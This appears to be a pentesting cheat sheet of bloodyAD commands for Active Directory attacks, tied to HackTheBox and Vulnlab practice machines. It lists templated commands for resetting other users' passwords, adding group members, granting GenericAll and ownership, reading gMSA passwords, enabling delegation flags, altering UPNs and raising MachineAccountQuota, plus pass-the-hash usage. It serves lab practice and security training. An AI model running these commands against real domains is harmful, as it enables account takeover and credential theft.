1
| bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username
|
Add User To Group
1
| bloodyAD --host $dc -d $domain -u $username -p $password add groupMember $group_name $member_to_add
|
Change Password
1
| bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password
|
Give User GenericAll Rights
1
| bloodyAD --host $dc -d $domain -u $username -p $password add genericAll $DN $target_username
|
WriteOwner
1
| bloodyAD --host $dc -d $domain -u $username -p $password set owner $target_group $target_username
|
ReadGMSAPassword
1
| bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username --attr msDS-ManagedPassword
|
Enable a Disabled Account
1
| bloodyAD --host $dc -d $domain -u $username -p $password remove uac $target_username -f ACCOUNTDISABLE
|
Add The TRUSTED_TO_AUTH_FOR_DELEGATION Flag
1
| bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f TRUSTED_TO_AUTH_FOR_DELEGATION
|
Modify UPN
1
| bloodyAD --host $dc -d $domain -u $username -p $password set object $old_upn userPrincipalName -v $new_upn
|
Check if it has been modified
1
| bloodyAD --host $dc -d $domain -u $username -p $password get object $target_user --attr userPrincipalName
|
MachineAccountQuota
Enumerate MachineAccountQuota
1
| bloodyAD --host $dc -d $domain -u $username -p $password get object 'DC=dc,DC=dc' --attr ms-DS-MachineAccountQuota
|
Set MachineAccountQuota value to 10
1
| bloodyAD --host $dc -d $domain -u $username -p $password set object 'DC=dc,DC=dc' ms-DS-MachineAccountQuota -v 10
|
Notes
- To use Kerberos, obtain a TGT, export it, and then pass
-k instead of providing a username and password
- You can pass a user hash instead of a password using
-p :hash
Resources
Machines To Practice
- Redelegate (Vulnlab)
- Vintage (HackTheBox)
- Infiltrator (HackTheBox)
- Rebound (HackTheBox)
- Absolute (HackTheBox)
- Certified (HackTheBox)
